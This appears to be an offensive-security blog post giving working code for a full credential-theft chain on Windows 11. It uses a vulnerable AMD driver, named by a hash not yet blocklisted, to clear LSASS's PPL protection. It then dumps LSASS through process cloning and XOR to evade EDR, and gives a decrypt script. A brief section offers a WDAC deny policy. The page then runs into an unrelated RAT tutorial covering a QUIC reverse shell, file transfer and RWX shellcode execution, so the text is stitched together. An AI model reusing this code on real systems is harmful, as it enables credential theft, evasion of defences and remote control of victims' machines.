Leaping ahead to 2026, the end goal remains the same, but the path to get there has shifted drastically. What was once a simple matter of tossing mimikatz onto a machine and scraping the freely available, cleartext wdigest creds, has become a more involved process. Now, we’re faced with a few unique but not all too unfamiliar challenges. Here are just a few off the top of my head:

• We need to evade or in some cases neutralize EDR ,though I’m of the opinion the latter is much noisier of an option
• Processes like the coveted LSASS now have PPL protection and the many usermode tools that can be used to bypass PPL are heavily signatured
• Many offsec tools are flagged in general and need to be ran in-memory, using many preferred techniques by yours truly such as an in-memory PE loader
• Vulnerable driver blacklists and HVCI

In cases like the one we’re facing, we traditionally would turn to BYOVD. Well, I can say not much has changed there, though we will need to get creative in either locating a completely new, undiscovered driver vulnerability. Or, you could be lazy like me and find a driver that has already been discovered and just use that, albeit a version that hasn’t been caught by the blocklist yet 😸

In today’s post, we will be uncovering the internals of kernel driver vulnerabilities and how to leverage them via the BYOVD (Bring Your Own Vulnerable Driver) method of attack. We will use kernel access to disable PPL for the LSASS process and then proceed to dump the process to disk, XOR’ing it beforehand so it avoids detection by popular EDR solutions. Let’s begin!

Finding a Signed Driver that’s not on the Microsoft Blocklist

I basically start at loldrivers.io or malshare.com and download a few drivers to see if they raised a flag concerning the Microsoft Vulnerable Driver Blocklist detection. Also just FYI, I have all the necessary security controls enabled beforehand that should prevent this particular driver from loading, such as:

I decided on PDFWKRNL.sys, which is vulnerable to a host of vulnerabilities such as a read and write memory primitive, thus making this driver a great candidate for overwriting our PPL value in LSASS to 0x00 effectively neutralizing PPL. You want to try out different versions of the vulnerable driver. I cannot stress that enough! Just because the driver is known by microsoft as a known flagged driver, doesn’t mean every working version will be flagged. That brings me to my next point: If we scroll down this page a bit, you’ll find the version of the driver with sha256 hash value: 6945077a6846af3e4e2f6a2f533702f57e993c5b156b6965a552d6a5d63b7402

PDFWKRNL.sys

That’s the driver I am using for this post that is yet to be flagged by Microsoft’s block list 😼 Credit where credit is due. I learned a lot from hfiref0x’s KDU repo: KDU

I tested a few drivers using that tool before I decided to produce my own code to load the vulnerable PDFWKRNL.sys driver. I admittedly borrowed from the previously discovered IOCTL code and symlink name for the driver, but then to better understand how this vulnerability was discovered, I took to binary ninja to explore for myself!

The Inner workings of PDFWKRNL.sys

Step 1 — Tracing IOCTL 0x80002014 through the dispatch table

We know from KDU’s previously researched info that the IOCTL code we are concerned with is 0x80002014. Let’s start with sub_140001000, which calculates both the IOCTL and the function that should be called based on a number of calculations we will explore below. Long story short: the IOCTL value is not in cleartext when reversing this driver 😸

Let’s start with how did we arrive at the 0x8000 value? Here’s how it works:

Windows IOCTL codes are structured 32-bit values built by the CTL_CODE macro:

• bits 31-16 device type (0x8000 here)
• bits 15-14 required access
• bits 13- 2 function code (the meaningful part)
• bits 1- 0 transfer method (buffered/direct/neither)

Moreover, we can see this info in Binary Ninja. That information, including the device name, just so happens to be in cleartext and doesn’t have to be deciphered!

So again…How did we arrive at value 0x8000 for the start of our IOCTL code?

Microsoft reserves device types below 0x8000 for official Windows device types (FILE_DEVICE_DISK, FILE_DEVICE_KEYBOARD, FILE_DEVICE_UNKNOWN, etc.).

Third-party vendors (like AMD) must use values 0x8000 and above for their custom device types. 0x8000 is the most common value used by many vendors for custom/software-only drivers. It’s essentially saying: “This is a vendor-defined device type”.

How about 0x2000 after the 0x8000?

Glad you asked 😺

This value is calculated, borrowing from the two’s complement of the constant in the instruction. This took me FOREVER to figure out which is kind of embarrassing and humbling for me lol!

The instruction is add eax, 0x7fffe000. Adding a constant is the same as subtracting its two’s complement negation:

~0x7fffe000 + 1 = 0x80001fff + 1 = 0x80002000

So add eax, 0x7fffe000 in 32-bit arithmetic is identical to sub eax, 0x80002000

Next, there’s the final 0x14. How did we arrive at that? That’s the case value we’re looking for that points to the memory write primitive!

Why this is a vulnerability?

There is zero validation. No ProbeForRead/ProbeForWrite, no canonical address check, no bounds check. Any process that can open \.\PdFwKrnl gets a ring-0 memmove with fully attacker-controlled src, dst, and size:

• Read primitive: dst = usermode buffer, src = any kernel VA → copies kernel memory to userspace
• Write primitive: dst = any kernel VA, src = usermode payload → overwrites arbitrary kernel memory

1400012ae                            sub_1400016c0(
1400012ae                                *(uint64_t*)((char*)MasterIrp + 0x10), 
1400012ae                                *(uint64_t*)((char*)MasterIrp + 0x18), 
1400012ae                                (uint64_t)MasterIrp[0xa]);
1400012b3                            arg2->IoStatus.Information = 0x30;

I am forever appreciative of the original research that went into discovering the IOCTL value. It would have taken me a very long time to discover that on my own, I can assure you 😸 But yeah, that’s the general breakdown on how this driver vulnerability plays out and why it’s a great candidate for BYOVD and removing PPL protection on LSASS. Now, on to the next best part, the code!

Code for the PPL Removal / Exploit Harness for PDFWKRNL.sys

It’s time for the highly anticipated code portion of this post! Let’s go head and get started. We will begin with defining the IOCTL value we wish to work with, as well as the 0x48 byte structure which is required for the IOCTL check. the 0x30 in the screenshot below is the buffer check of 0x30 or 48 in decimal, followed by the memcpy/memmove values!

mov r8d, dword [rsi+0x28]   ; size  ← BufAmdCopy.size   (32-bit read, upper 32 bits of u64 discarded)
mov rdx, qword [rsi+0x18]   ; src   ← BufAmdCopy.src
mov rcx, qword [rsi+0x10]   ; dst   ← BufAmdCopy.dst
call sub_1400016c0           ; memmove(dst, src, size)

Microsoft x64 calling convention: rcx=arg1, rdx=arg2, r8=arg3. This is exactly memmove(dst, src, size) with all three values coming unmodified from the usermode-supplied buffer. No sanitization between the jne and the call!

Now let’s plug those values into our code:

#include <windows.h>
#include <iostream>
#include <vector>
#include <string>
#include <psapi.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "psapi.lib")

// --- AMD PDFW (PdFwKrnl) Specifics ---
#define IOCTL_AMDPDFW_MEMCPY 0x80002014 //our IOCTL value

// This structure MUST be exactly 48 bytes
typedef struct _PDFW_MEMCPY {
    BYTE  Reserved[16];   // 0x00 - 0x0F
    PVOID Destination;    // 0x10 <--
    PVOID Source;         // 0x18 <--
    PVOID Reserved2;      // 0x20
    DWORD Size;           // 0x28 <--
    DWORD Reserved3;      // 0x2C
} PDFW_MEMCPY, * PPDFW_MEMCPY;

Next up, we need to find the kernel offsets for the version of Windows this driver would be running on. In my case, Windows 11 25h2. Here are the values I pulled, and I’ll also show how I retrieved them. It’s incredibly annoying having to debug in kernel mode, turning on debugging using bcdedit and restarting the machine. Let’s make life easier for ourselves. I just reverse engineer ntoskrnl.exe and do a static search for the _EPROCESS type. Easy peezy!

Our first two values are clearly visible! Next, just scroll down a bit to reach ImageFileNameOffset and then ProtectionOffset:

Now we just make our own struct to include those values, like so:

struct KernelOffsets {
    ULONG64 UniqueProcessIdOffset = 0x1D0;
    ULONG64 ActiveProcessLinksOffset = 0x1D8;
    ULONG64 ImageFileNameOffset = 0x338;
    ULONG64 ProtectionOffset = 0x5FA; // Offset for Build 26200
};

Ok that’s the part that a lot of people could use a refresher on. The next part I’m not going to spend as much time explaining. We basically setup the memory read and write functions.

HANDLE hDriver = INVALID_HANDLE_VALUE;
KernelOffsets Offsets;

// --- AMD PDFW Driver Communication ---

bool Amd_ReadMemory(DWORD64 Address, PVOID Buffer, DWORD Size) {
    PDFW_MEMCPY request;
    RtlSecureZeroMemory(&request, sizeof(request));

    request.Destination = Buffer;           // Where we want the data (our local buffer)
    request.Source = (PVOID)Address;        // Where the data is (kernel address)
    request.Size = Size;

    DWORD bytesReturned = 0;
    return DeviceIoControl(hDriver, IOCTL_AMDPDFW_MEMCPY, &request, sizeof(request), &request, sizeof(request), &bytesReturned, NULL);
}

bool Amd_WriteMemory(DWORD64 Address, PVOID Buffer, DWORD Size) {
    PDFW_MEMCPY request;
    RtlSecureZeroMemory(&request, sizeof(request));

    request.Destination = (PVOID)Address;   // Where we want to write (kernel address)
    request.Source = Buffer;                // What we want to write (our local buffer)
    request.Size = Size;

    DWORD bytesReturned = 0;
    return DeviceIoControl(hDriver, IOCTL_AMDPDFW_MEMCPY, &request, sizeof(request), &request, sizeof(request), &bytesReturned, NULL);
}

// Helper wrapper for 64-bit reads
DWORD64 ReadMemoryDWORD64(DWORD64 Address) {
    DWORD64 val = 0;
    if (Amd_ReadMemory(Address, &val, 8)) return val;
    return 0;
}

Next up, we need to setup a function to locate the PsInitialSystemProcess Offset.

ULONG64 GetSystemEproc(ULONG64 ntosBase) {
    HMODULE ntos = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (!ntos) return 0;
    DWORD64 addrInLocal = (DWORD64)GetProcAddress(ntos, "PsInitialSystemProcess");
    DWORD64 offset = addrInLocal - (DWORD64)ntos;
    FreeLibrary(ntos);

    std::cout << "[*] PsInitialSystemProcess Offset: 0x" << std::hex << offset << std::endl;
    return ReadMemoryDWORD64(ntosBase + offset);
}

Now for the obligatory main function, which includes an argument parameter for our LSASS pid and the file handle to our driver in question:

int main(int argc, char* argv[]) {
    if (argc < 2) {
        std::cout << "Usage: " << argv[0] << " <Target PID>" << std::endl;
        return 1;
    }
    DWORD targetPid = std::stoul(argv[1]);

    // Connect to Driver
    hDriver = CreateFileW(L"\\\\.\\Global\\PdFwKrnl", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
    if (hDriver == INVALID_HANDLE_VALUE) {
        std::cerr << "[-] Failed to open handle to PdFwKrnl. Error: " << GetLastError() << std::endl;
        return 1;
    }
    std::cout << "[+] Connected to AMD PDFW Driver." << std::endl;

We’re close now, basically at the home stretch! 😸 We just need to locate the kernel base ntoskrnl.exe and the EPROCESS address. Then, we need cycle through all the processes and locate LSASS!

 // Get Kernel Base
 ULONG64 ntosBase = 0;
 LPVOID drivers[1024];
 DWORD cb;
 if (EnumDeviceDrivers(drivers, sizeof(drivers), &cb)) ntosBase = (ULONG64)drivers[0];
 std::cout << "[*] ntoskrnl.exe Base: 0x" << std::hex << ntosBase << std::endl;

 ULONG64 systemEproc = GetSystemEproc(ntosBase);
 if (!systemEproc) {
     std::cerr << "[-] Failed to read System EPROCESS. Communication failed." << std::endl;
     return 1;
 }
 std::cout << "[+] System EPROCESS: 0x" << std::hex << systemEproc << std::endl;

 // Iterate Process List
 DWORD64 listHead = systemEproc + Offsets.ActiveProcessLinksOffset;
 DWORD64 currentFlink = ReadMemoryDWORD64(listHead);
 bool found = false;

 while (currentFlink != listHead && currentFlink != 0) {
     DWORD64 currentEproc = currentFlink - Offsets.ActiveProcessLinksOffset;
     DWORD64 pid = ReadMemoryDWORD64(currentEproc + Offsets.UniqueProcessIdOffset);

     if (pid == targetPid) {
         char name[16] = { 0 };
         BYTE prot = 0;
         Amd_ReadMemory(currentEproc + Offsets.ImageFileNameOffset, name, 15);
         Amd_ReadMemory(currentEproc + Offsets.ProtectionOffset, &prot, 1);

         std::cout << "[+] Found Target: " << name << std::endl;

Lastly, we output the current protection level for LSASS and clear the protection to remove the PPL protective barrier:

            std::cout << "[*] Current Protection: 0x" << (int)prot << std::endl;

            // ACTION: Clear Protection
            BYTE zero = 0;
            if (Amd_WriteMemory(currentEproc + Offsets.ProtectionOffset, &zero, 1)) {
                std::cout << "[!!!] SUCCESS: Protection byte cleared." << std::endl;
            }
            found = true;
            break;
        }
        currentFlink = ReadMemoryDWORD64(currentEproc + Offsets.ActiveProcessLinksOffset);
    }

    if (!found) std::cout << "[-] PID not found." << std::endl;

    CloseHandle(hDriver);
    return 0;
}

That my friends, is the completed code for our BYOVD PPL removal on a modern Windows 11 25h2 machine with all security features enabled that are inherent to Windows by default.

Full source code here: Source Code in Full

Code demo for Disabling PPL protection in LSASS

Let’s see it in action!

Notice first how LSASS is currently protected:

Now we run our code:

Close out and go back in to System Informer:

We’re ready to proceed with Part 2 of this post - Dumping LSASS!

Process Cloning and In-Memory Minidump Interception using Callbacks and XOR Encryption

Alright, let’s break this tool down piece by piece. This is a memory dumper that combines a few evasion tricks to fly under the radar of most EDR solutions:

• Process cloning
• Threading to prevent the machine locking up during the dump (this happens to me more often that I’d like to admit!) 😸
• In-memory Minidump interception using NUL file handles and Callbacks to prevent writing in the clear
• XOR obfuscation applied to the final .DMP file

All before anything ever touches disk. Let’s get into it.

Headers, Globals, and the XOR Key

#include <windows.h>
#include <winternl.h>
#include <DbgHelp.h>
...
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Dbghelp.lib")

#define PS_INHERIT_HANDLES 0x00000004
const char XOR_KEY = 0x55;

std::atomic<DWORD> dumpSize(0);
LPVOID dumpBuffer = NULL;

Nothing too wild here on the surface, but a few things worth calling out. We’re pulling in winternl.h because we need access to undocumented NT internals. Specifically, NtCreateProcessEx, which is the core of our cloning trick. DbgHelp.h gives us MiniDumpWriteDump, the function that does the actual memory capture.

PS_INHERIT_HANDLES (0x4) is the flag we’ll pass to NtCreateProcessEx to make the cloned process inherit handles from the parent, which is critical for the clone to function properly.

XOR_KEY = 0x55 is our dead-simple obfuscation key. It’s enough to mangle the MZ header and scramble the dump so signature-based detections on file writes don’t immediately fire. More on that later.

dumpSize is atomic because it’s shared between the callback thread (which increments it) and the main thread (which reads it). We don’t want a race condition eating our byte count.

The NtCreateProcessEx Typedef

typedef NTSTATUS(NTAPI* NtCreateProcessEx_t)(
    OUT PHANDLE ProcessHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN HANDLE ParentProcess,
    IN ULONG Flags,
    ...
    );

NtCreateProcessEx is an an undocumented Windows Native API that lets you create a new process using an existing process as the parent template. Microsoft doesn’t officially expose this in the SDK, so we have to define the function pointer signature ourselves and resolve it at runtime via GetProcAddress from ntdll.dll. Thankfully many other researchers have explored this undocumented NT API and shared their findings so we can better understand them. 😸

This is essentially the heart of the process cloning technique. Instead of opening a handle to something sensitive like lsass.exe and reading its memory directly (which EDRs absolutely watch for), we clone it. The clone is a snapshot of the original process’s address space. It’s the same memory and same handles, but it’s a new process object. Dumping the clone instead of the original is a classic way to sidestep handle-based detections.

Getting SeDebugPrivilege

BOOL EnablePrivilege(LPCWSTR privilege) {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    LookupPrivilegeValue(NULL, privilege, &luid);
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, FALSE, &tp, ...);
    ...
}

Before we can open handles to protected processes or clone them, we need SeDebugPrivilege. This privilege lets a process read/write the memory of any other process on the system, including protected ones. It’s typically held by admins and SYSTEM.

The flow here is standard:

1. Open our own process token
2. Look up the LUID (locally unique identifier) for the privilege we want
3. Set it enabled and call AdjustTokenPrivileges

This is a prerequisite step. If we can’t get SeDebug, we bail early.

XOR Obfuscation

void xor_buffer(LPVOID buffer, DWORD size, char key) {
    BYTE* p = (BYTE*)buffer;
    for (DWORD i = 0; i < size; i++) {
        p[i] ^= key;
    }
}

Nothing fancy here really, just standard XOR encryption logic. We walk every byte in the dump buffer and XOR it against 0x55. The reason this matters: a raw minidump starts with the signature MDMP followed by recognizable structures. EDR products and AV engines scan file writes for these patterns. XOR-ing the buffer before it hits disk scrambles those signatures completely. The first four bytes 4D 44 4D 50 become 18 11 18 05, which is totally unrecognizable.

To recover the dump later for analysis in Mimikatz or pypykatz, you just XOR it again with the same key (XOR is its own inverse).

The Worker Thread

void process_and_save_dump(LPVOID buffer, DWORD size, const char* outPath) {
    xor_buffer(buffer, size, XOR_KEY);

    HANDLE hFile = CreateFileA(outPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, ...);
    WriteFile(hFile, buffer, size, &bytesWritten, NULL);
    CloseHandle(hFile);
}

After the dump lands in RAM, we spin up a worker thread to handle the XOR pass and disk write. This keeps the main thread clean and separates the dumping phase from the obfuscation/exfil phase. The dump lands at C:\Users\Public\PID_xor.dmp, whic is a world-writable path, no special permissions needed.

The Callback Routine and Intercepting MiniDump Writes

BOOL CALLBACK DumpCallbackRoutine(PVOID CallbackParam, 
    const PMINIDUMP_CALLBACK_INPUT CallbackInput, 
    PMINIDUMP_CALLBACK_OUTPUT CallbackOutput) {

    switch (CallbackInput->CallbackType) {
    case IoStartCallback:
        CallbackOutput->Status = S_FALSE;
        break;
    case IoWriteAllCallback:
        source = CallbackInput->Io.Buffer;
        destination = (LPVOID)((DWORD_PTR)dumpBuffer + CallbackInput->Io.Offset);
        RtlCopyMemory(destination, source, bufferSize);
        dumpSize.fetch_add(bufferSize);
        break;
    case IoFinishCallback:
        CallbackOutput->Status = S_OK;
        break;
    }
    return TRUE;
}

This is one of the slicker tricks in the toolbox. MiniDumpWriteDump normally writes directly to a file handle you provide. But it also supports a callback interface. Through that callback, every I/O operation gets routed through our function before it hits disk.

Here’s what each callback type does:

• IoStartCallback — fires when the dump begins. We return S_FALSE to signal “I’ll handle the I/O myself.”
• IoWriteAllCallback — fires for every chunk of data being written. Instead of letting it go to disk, we RtlCopyMemory it into our own dumpBuffer at the correct offset. The dumpSize atomic counter tracks total bytes captured.
• IoFinishCallback — fires when the dump is done. We return S_OK to signal success.

The result: the entire dump lives in RAM only until we deliberately write it. This sidesteps file-based write detections entirely during the capture phase. 😏

Putting It All Together

int main(int argc, char* argv[]) {
    DWORD targetPid = (DWORD)atoi(argv[1]);
    EnablePrivilege(SE_DEBUG_NAME);

    // 1. Allocate 200MB heap buffer
    dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 200);

    // 2. Clone the target process
    HANDLE hTarget = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
    NtCreateProcessEx(&hClone, PROCESS_ALL_ACCESS, NULL, hTarget, PS_INHERIT_HANDLES, ...);

    // 3. Open a handle to NUL
    HANDLE hNul = CreateFileA("NUL", GENERIC_ALL, 0, NULL, OPEN_EXISTING, ...);

    // 4. Dump via callback
    MiniDumpWriteDump(hClone, targetPid, hNul, MiniDumpWithFullMemory, NULL, NULL, &mci);

    // 5. XOR + write in worker thread
    std::thread worker(process_and_save_dump, dumpBuffer, finalSize, outPath);
    worker.join();
}

The main function orchestrates the whole attack chain:

Step 1 — Buffer allocation. We pre-allocate 200MB on the heap to receive the dump. This is sized generously to handle a full lsass dump on most systems.

Step 2 — Process cloning. We open the target PID with PROCESS_CREATE_PROCESS access, then pass that handle to NtCreateProcessEx as the parent. The kernel creates a new cloned process object that is a snapshot of the target’s address space. We then dump the clone, not the original LSASS process. This avoids opening a full read/write handle directly on the sensitive lsass.exe process (the pattern most EDRs monitor).

Step 3 — The NUL handle trick. MiniDumpWriteDump requires a file handle as a parameter. We pass it NUL, which is Windows’ equivalent of /dev/null. Since our callback intercepts all writes before they reach the file, nothing actually goes to NUL. But the function needs a valid handle, and NUL is the cleanest placeholder.

Step 4 — Dump triggered via callback. With MiniDumpWithFullMemory we capture everything: stack, heap, mapped files. The callback silently redirects every write chunk into our RAM buffer.

Step 5 — Worker thread handles the rest. Once the dump is in memory, we hand it off to the worker thread to XOR and write to disk. Main thread waits for it to finish, then cleans up all handles and frees the heap buffer.

Final source code: Full Source Code

Evasion Summary

To recap, this tool chains several techniques together that each address a different detection layer:

No single one of these is a silver bullet, but layered together, they make for a very covert approach to dumping LSASS in the modern era of EDR.

Code Demo!

And the encrypted file:

okay, let’s decrypt this thing!

Want the decrypt code? Sure, here it is. Take it! 😸

XOR Decrypt code

import sys

def xor_decrypt(input_path, output_path, key=0x55):
    try:
        print(f"[*] Reading encrypted dump: {input_path}")
        with open(input_path, 'rb') as f:
            encrypted_data = f.read()

        print(f"[*] Decrypting {len(encrypted_data)} bytes...")
        # Perform XOR operation on every byte
        decrypted_data = bytearray([b ^ key for b in encrypted_data])

        with open(output_path, 'wb') as f:
            f.write(decrypted_data)

        print(f"[+] Success! Decrypted dump saved to: {output_path}")
        
        # Quick validation check for the Minidump header
        if decrypted_data[:4] == b'MDMP':
            print("[+] Header Validation: MDMP signature found. File is ready for pypykatz.")
        else:
            print("[!] Warning: MDMP signature not found. Check your XOR key.")

    except FileNotFoundError:
        print(f"[-] Error: File '{input_path}' not found.")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python3 decrypt_dump.py <input_file> <output_file>")
    else:
        xor_decrypt(sys.argv[1], sys.argv[2])

🛡️ So, How do I defend against This? 🛡️

First off, I need to make this point very clear. This is using an already known vulnerable driver. The fact this is even allowed on a fully patched, secured Windows 11 25h2 machine with all security features enabled blows my mind. This shouldn’t even be possible in the first place. But, then again I wouldn’t be a security researcher if I didn’t find some alternative, unexplored ways of achieving an end goal right? 😸 Since the vulnerable driver block list isn’t detecting this (because it’s a different hash?), then we are left with one option I’m aware of as far as built in options in Windows. We can create a rule/policy using Windows Defender Application Control to block the driver from starting. Other than that, this really should be easier to prevent. LoL.

Here’s a script that accomplishes this for those interested. Be sure to revise it accordingly for your own use case:

$DenyRule = New-CIPolicyRule -Level FilePublisher -DriverFilePath "C:\users\robbi\OneDrive\Pictures\AMD.sys" -Fallback SignedVersion,Publisher,Hash -Deny

# 1. Copy the template to your Documents folder where you have full permissions
Copy-Item "$env:windir\schemas\CodeIntegrity\ExamplePolicies\AllowAll.xml" -Destination "C:\Users\robbi\Documents\AllowAll_Temp.xml"

# 2. Point your variable to the new, copied file location
$AllowAllPolicy = "C:\Users\robbi\Documents\AllowAll_Temp.xml"

# 3. Run the merge command again using the copied template
Merge-CIPolicy -PolicyPaths $AllowAllPolicy -OutputFilePath "C:\Users\robbi\Documents\DenyPolicy.xml" -Rules $DenyRule

# 4. Clean up the temporary template file
Remove-Item "C:\Users\robbi\Documents\AllowAll_Temp.xml"

# 5. Change the Friendly Name safely using the native Microsoft cmdlet
Set-CIPolicyIdInfo -FilePath "C:\Users\robbi\Documents\DenyPolicy.xml" -PolicyName "Driver Deny Policy - AMD"

# 6. Read the unique GUID directly out of your policy XML
[xml]$policy = Get-Content "C:\Users\robbi\Documents\DenyPolicy.xml"
$policyID = $policy.SiPolicy.PolicyID

# 7. Re-compile the binary using the exact string formatting Windows expects
$correctName = "$policyID.cip"
ConvertFrom-CIPolicy -XmlFilePath "C:\Users\robbi\Documents\DenyPolicy.xml" -BinaryFilePath "C:\Users\robbi\Documents\$correctName"

Write-Host "Your new file is named: $correctName"

# 8. Register and refresh the policy binary via the official tool path
CiTool.exe --update-policy "C:\Users\robbi\Documents\$correctName"

# 1. Remotely unregister the old policy from the Windows Kernel (replace with your GUID)
CiTool.exe --remove-policy "{31351756-3f24-4963-8380-4e7602335aae}"

# 2. Delete the old binary from your local Documents folder to prevent duplicates
Remove-Item "C:\Users\robbi\Documents\*.cip" -Force

🎁 Bonus Content for Members! (All Tiers) 🎁

Additional TPwSav.sys BYOVD driver + code! TPwSav.sys Source Code on Ko-fi

ANY.RUN Results

Full Sandbox Analysis

Sponsored By:

What even is QUIC?

QUIC (Quick UDP Internet Connections) was originally developed by Google and is now an IETF standard (RFC 9000). It’s the transport layer underneath HTTP/3. Here’s why it matters to us:

• Encrypted by default: TLS 1.3 is baked in. There’s no plaintext QUIC. Every connection is encrypted from the first packet.
• Runs over UDP: Many network monitoring tools and IDS signatures are tuned heavily for TCP. QUIC gives us a different traffic profile. 😸
• Multiplexed streams: You get multiple independent streams over a single connection without head-of-line blocking.
• Connection migration: The connection can survive IP address changes. Very Handy.
• ALPN negotiation: Application Layer Protocol Negotiation lets you define your own protocol identifier. We’re using "g3tsyst3m" as our ALPN string. This means our traffic identifies itself as something custom rather than standard HTTP.

From a C2 perspective, QUIC gives you an encrypted, UDP-based channel that doesn’t look like a typical reverse shell. That’s a good starting point for researching an encrypted, reverse shell implant.

We’ll be using the excellent aioquic and tqdm libraries, which gives us a full async QUIC implementation in Python + a cool progress bar for file uploads/downloads 😸. Install it with:

pip install aioquic tqdm

Meet our crudeRAT

I’m calling our implant crudeRAT because it’s just a commandline driven, very rudimentary RAT type connector/implant 🐭

Here’s what it can do:

• Encrypted reverse shell over QUIC (UDP/4433)
• Execution of commands just by typing them: net user, whoami, etc
• File upload to the implant (send) with tqdm progress bar
• File download from the implant (recv)
• Shellcode execution via EnumSystemLocalesW callback using hex
• Keep-alive PING to maintain the connection

Let’s walk through the architecture before we get to the code.

Architecture Overview

[Attacker Linux Box (or Windows)]          [Windows Target]
  quicsvr3.py          ←→      quiccli3.py
  (C2 Server)        QUIC/UDP   (QuicRAT Implant)
  port 4433

The server runs on your attacker box. The implant runs on the target, connects back, and opens a bidirectional QUIC stream. All traffic is TLS 1.3 encrypted. The implant doesn’t verify the server cert (since we’re self-signed), but the encryption is still fully in place.

Quick Wireshark Snapshot at the onset of the first connected client

Server

Client

For the code samples I’ll be using today, I plan to just pull from snippits of the full code I think are helpful to better understand. I’ll share the full source code at the end of the post!

The crudeRAT Implant (quiccli3.py)

Let’s start with the implant. The core class is ImplantProtocol, which extends QuicConnectionProtocol:

class ImplantProtocol(QuicConnectionProtocol):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self._upload_file    = None
        self._upload_path    = None
        self._upload_expect  = 0
        self._upload_recvd   = 0
        self._upload_sid     = None
        self._downloading    = False

The upload state variables are important. When we’re in the middle of receiving a file, raw binary data arrives across multiple StreamDataReceived events. We need to track how much we’ve received vs. how much we expect, and feed it all into an open file handle until we’re done.

Command Dispatch

Everything flows through quic_event_received. The first thing we do when data arrives is check whether we’re mid-upload. If so, we skip the command parser entirely and feed bytes straight to the file:

if self._upload_file is not None:
    remaining = self._upload_expect - self._upload_recvd
    chunk = raw[:remaining]
    self._upload_file.write(chunk)
    self._upload_recvd += len(chunk)

    if self._upload_recvd >= self._upload_expect:
        self._upload_file.close()
        self._upload_file = None
        self._send(self._upload_sid, "File successfully uploaded!\n")
    return

Otherwise we decode the data as a UTF-8 command string and dispatch it:

cmd = raw.decode('utf-8', errors='ignore').strip()

File Upload Protocol

[C2] Command> send C:\Users\robbi\Documents\vtotal_hash.txt vtotal.txt
[C2] Sending 64 bytes...
Uploading vtotal.txt: 100%|█████████████████████████████████████████████████████████| 64.0/64.0 [00:00<00:00, 23.3kB/s]

[C2] File successfully uploaded!

The upload sequence is modeled after my original Python c2 series but adapted for QUIC. Essentially, the server sends a framed header first, the implant acks ready, then raw binary flows:

server  → ":upload:|<filename>|<filesize>"
implant → "***Ready for upload***"
server  → raw binary (4096-byte chunks)
implant → "File successfully uploaded!"

We use | as the field separator instead of : because Windows paths contain colons (C:\...) and that caused all kinds of fun ValueError exceptions earlier in development 😄

Uploaded files land in C:\users\public\uploads\ on the target by default.

File Download Protocol

[C2] Command> recv C:\Users\robbi\Documents\vtotal_hash.txt c:\users\public\vtotal.txt
[C2] Receiving 64 bytes -> c:\users\public\vtotal.txt
[C2] Downloading vtotal.txt: 100%
[C2] Download complete: c:\users\public\vtotal.txt (64 bytes)

[+] File successfully downloaded! Saved to c:\users\public\vtotal.txt (64 bytes)

Downloading files is just as easy and we once again borrow from how I did this in the original Python c2 series. We use the ‘recv’ command to initiate a download of a file(s):

server  → "~download~|<filepath>"
implant → "<filesize>" (plain int string)
implant → raw binary data (4096-byte chunks)

The implant sends the filesize first so the server knows when to stop reading. Then it just streams the file:

filesize = os.path.getsize(filepath)
self._send(sid, str(filesize))
await asyncio.sleep(0.1)

with open(filepath, 'rb') as f:
    while True:
        chunk = f.read(4096)
        if not chunk:
            break
        self._send(sid, chunk)
        await asyncio.sleep(0)  # yield to event loop

Executing Commands

Executing commands is incredibly straight forward. Just pretend you are in a shell and type whatever command you like! Here’s a few I tested out:

[C2] Command> whoami

g3tsyst3m-pc\robbi

[C2] Command> net user

User accounts for \\G3TSYST3M-PC

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
robbi                    testuser                 WDAGUtilityAccount
WsiAccount
The command completed successfully.

You can use cd c:\ to go to the root directory, or even cd .. like so:

[C2] Command> cd c:\

Changed directory to c:\

[C2] Command> cd

c:\

You can also view the very basic help menu by typing `help`

[C2] Command> help

  <shell cmd>                    Run a shell command on the implant
  cd <path>                      Change implant working directory
  send <local> <remote>          Upload file to implant   (raw binary, tqdm progress)
  recv <remote> <local>          Download file from implant (raw binary)
  send_shellcode <hex>           Execute shellcode on the implant
  exit                           Shut down the C2

[C2] Command>

Shellcode Execution

Alright, let’s talk about the fun part 😸 For shellcode execution we use EnumSystemLocalesW as our callback trigger. It’s worth understanding why we pick this over the more obvious approaches.

The traditional approach to shellcode execution in Python is to call VirtualAlloc, copy your shellcode in, cast the address to a function pointer, and call it directly. That works, but it’s also extremely well-signatured. EDRs have seen that pattern and then some lol. The callback technique is a way to have Windows call your shellcode for you through a legitimate API, which can look a lot cleaner from a behavioral analysis standpoint.

EnumSystemLocalesW is a Win32 API that enumerates all installed system locales on the machine. It takes a callback function pointer and calls it once per locale. From our perspective, we don’t care about locales, we just need a API that accepts a function pointer and invokes it. There are many others in this family (EnumWindows, EnumChildWindows, EnumThreadWindows, EnumDesktopWindows…) and they all work on the same principle.

Here’s the full execution flow:

# 1. Allocate RWX memory for the shellcode
addr = kernel32.VirtualAlloc(None, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)

# 2. Copy shellcode bytes into the allocated region
buf = (ctypes.c_ubyte * sz).from_buffer_copy(shellcode_bytes)
kernel32.RtlMoveMemory(c_void_p(addr), buf, sz)

# 3. Pass the shellcode address as the callback — Windows calls it for us
kernel32.EnumSystemLocalesW(c_void_p(addr), 0)

We use RtlMoveMemory instead of ctypes.memmove for the copy. It really doesn’t matter, it’s just my personal preference. 😈

